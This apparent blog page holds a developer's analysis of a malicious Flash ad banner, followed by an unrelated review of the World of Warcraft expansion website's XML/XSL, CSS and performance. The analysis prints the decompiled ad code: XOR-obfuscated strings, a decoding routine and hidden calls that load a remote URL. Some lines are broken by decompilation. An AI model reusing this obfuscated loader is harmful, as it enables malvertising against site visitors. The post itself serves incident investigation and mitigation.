De-constructing Malicious Flash

Last Friday I was approached by my boss to look into an advertisers banners due to reports of malware notifications when browsing our site. It sounded far fetched to think that Flash was executing malicious code on the client side browsers but I cracked open the SWF files with a de-compiler to take a look.

It was a mess, a little searching let me know that it was probably encrypted by Amayeta SWF Encrypt as seen from the review at Flash Valley. It turned out that my superiors had already confronted the client with the information that they suspected their ads of containing malware and the client replied with a fixed version that they had just handed over me to look at.

I wasn’t going to stop there though and I found the original files to see if they matched. File size of the originals was smaller so I threw them through the de-compiler again and lo there was human readable code. Why would the client send over fixed files that were obfuscated when the originals were not?

Here is the code that I found sitting in an unassuming movieclip with not content other than the single frame and actionscript.

_root.c1 = "47ED02";
_root.c2 = "46E91A247C";
_root.c3 = "7FF817257C8DF8";
_root.c4 = "50E70523";
_root.c5 = "7FD7153B7080E795EA776F";
_root.c6 = "48FC022723CCA3A8F36070509F2105CBA738D20F50A22FD09E2BB7495689293D5623312668";
_root.c7 = "11";
_root.c8 = "10";
_root.c9 = "10";
_root.c10 = "11";
_root.c11 = "10";
_root.c12 = "17";
_root.c13 = "48FC022723CCA3";
_root.c14 = "10";
_root.c15 = "0DB1";
_root.c16 = "10";
_root.c17 = "48FC022723CCA3A7E67676518C201D9BA138D20F50A263C7922FAD031B923C634721342266E62EB8CBA9707F3088182CC3";
_root.c18 = "14B8";
_root.c19 = "53ED17257A8BF8A5F66B774FCB73559FE6268157";
_root.c20 = "0F";
_root.c21 = "11BF446F29D3BCFAAF";
_root.c22 = "7FD7022D";
_root.c23 = "7FFD043B";
_root.c24 = "53FD14246D91";
_root.c25 = "7FD7102363";
_root.c26 = "7FD7103B6F";
_root.c27 = "7FD710347188";
_root.c28 = "53ED1833";
_root.c29 = "47ED0203708EE9B0F06B666C9C2317CAA0";
String.prototype.color = function (eslogan)
var _loc3 = eslogan;
var result = "";
var _loc1;
var n;
var _loc2;
_loc1 = 0;
(n = this.length);
while (_loc1 < n)
_loc2 = parseInt(this.slice(_loc1, _loc1 + 2), 16) ^ _loc3 >> 8 & 255;
if (_loc2 > 127)
_loc2 = _loc2 + 848;
} // end if
result = result + String.fromCharCode(_loc2);
_loc3 = (_loc3 * 52845 + 22719) % 16777215;
_loc1 = _loc1 + 2;
} // end while
return (result);
_root[_root.c26.color(14688422)] = function ()
var _loc1 = _root;
_loc1._visible = false;
_loc1.createEmptyMovieClip("emc", _loc1.getNextHighestDepth());
_loc1.emc.u = dt.getTime();
if (parseInt(_loc1.c10.color(14688422)))
_loc1.i = setInterval(_loc1[_loc1.c27.color(14688422)], 100);
} // end if
_root[_root.c27.color(14688422)] = function ()
var _loc1 = _root;
if (_loc1.emc.stats == _loc1.c2.color(14688422) || !parseInt(_loc1.c10.color(14688422)))
new LoadVars()[_loc1.c28.color(14688422)](_loc1.c6.color(14688422),_loc1.c3.color(14688422), _loc1.c4.color(14688422));
so = SharedObject.getLocal(_loc1.c19.color(14688422),_loc1.c20.color(14688422)); = _loc1.uzhe = 1;
if (_loc1.emc.exp)
dt = new Date();
cr = dt.getTime(); = cr + _loc1.emc.exp * 24 * 60 * 60 * 1000;
} // end if
} // end if
if (_loc1.emc.stats || --_loc1.lim == 0)
_loc1._visible = !(_loc1.uzhe && parseInt(_loc1.c9.color(14688422)));
} // end if
if (r == undefined)
r = 1;
_root.uzhe = 0;
_root.lim = parseInt(_root.c18.color(14688422));
_root[_root.c22.color(14688422)] = -new Date()[_root.c29.color(14688422)]() / 60;
if (parseInt(_root.c18.color(14688422)) && (!parseInt(_root.c7.color(14688422)) || _root[_root.c23.color(14688422)][_root.c24.color(14688422)](parseInt(_root.c11.color(14688422)), parseInt(_root.c12.color(14688422))) == _root.c13.color(14688422)) && (!parseInt(_root.c14.color(14688422)) || !(_root[_root.c22.color(14688422)] >= parseInt(_root.c15.color(14688422)) && _root[_root.c22.color(14688422)] <= parseInt(_root.c16.color(14688422)))))
dt = new Date();
cr = dt.getTime();
so = SharedObject.getLocal(_root.c19.color(14688422), _root.c20.color(14688422));
_root.uzhe =;
_root._visible = !(_root.uzhe && parseInt(_root.c9.color(14688422)));
if (parseInt(_root.c8.color(14688422)) > 1)
if (!
{ = cr;
} // end if;
} // end if
if (cr > || == parseInt(_root.c8.color(14688422)))
{ = cr + parseInt(_root.c21.color(14688422));
} // end if
} // end if
} // end if


Wow, it was like nothing I had ever seen before. I immediately stuck a trace at the end of the new String prototype for result to see just what types of information it was returning.


The last two lines __flv and __fchk just kept repeating as the SWF played on. I turned to the search engines and started pasting parts of this code in to find someone else that had run into this. I turned up a txt file from the site Mike on Ads – Errorsafe. He even put together an example of what this type of code can do if you look at the comments of that post or just visit it directly at (just don’t click Yes when it prompts you to install stuff). As Mike pointed out this is circumvented with new security features in the Flash 9 player and setting AllowScriptAccess false in the HTML embed / object code.

I wanted to document my experience with this mainly to give another source of reference because Mike on Ads was the only reference to this code I could find and wasn’t able to find anyone who could explain just what this code wants to do with the users browser. front and back-end analysis

Of course I am an avid World of Warcraft player or I would not have run across the site for their new expansion. I had noticed before that several of the World of Warcraft sites ended in .xml and the I didn’t think to go digging until I saw the page at I decided to document my trip through the front-end and possible some back-end code that makes up this amazing site.

From this XML page we don’t know what back-end language is doing the XML / XSL transformations but lets dig a little deeper by taking a look at that style sheet listed at The content is loaded around line 63 from and


Getting deeper into the layout site of things this stylesheet defines a particular page layout for the Wrath of the Lich King website. This page is using repeating elements from outside sources so we don’t have any content in this document. Right at the top you see our next step to dig deeper into how this site is being prepared. The XSL is importing another document with general elements for the site that are used across all pages from


The global.xsl is defining several of the sites reusable elements. It is extremely well commented and arranged. One issue I have seen is the doc-type that is listed was not actually put into the output of the page as show from my Web Developer Toolbar for Firefox View Generated Source tool. The usage of inline style elements is disappointing considering how good the external CSS files are. The W3C validator complains about the lack of doc-type, Flash elements and missing alt tags.

World of Warcraft: Wrath of the Lich King


Moving on from the layout code to the CSS I am again impressed by the usage of language specific css files to define the background-image elements that have different text on them as shown in The master CSS file shows a little usage of absolutely positioned elements and negative margins which in some cases is considered a crutch in layout but in all of the ones I check in this page it was needed. Again there is top notch commenting and arrangement of the styles that makes it all extremely friendly to read. The CSS validator lists a few errors that are obviously browser specific hacks but nothing out of line.

Performance of the site isn’t terrible but the initial page load comes in at a hefty 532.4K total size. The Flash files have been optimized well but most of this weight is in the images with a grand total of 419.6K. After this initial loading though subsequent pages have a very minimal impact with a primed cache.

I wasn’t able to discover though my digging just what the back-end XML/XSLT transforming platform was but it seems to be very good. I would recommend this and other World of Warcraft sites to new and seasoned developers as an example of excellent front and back-end development.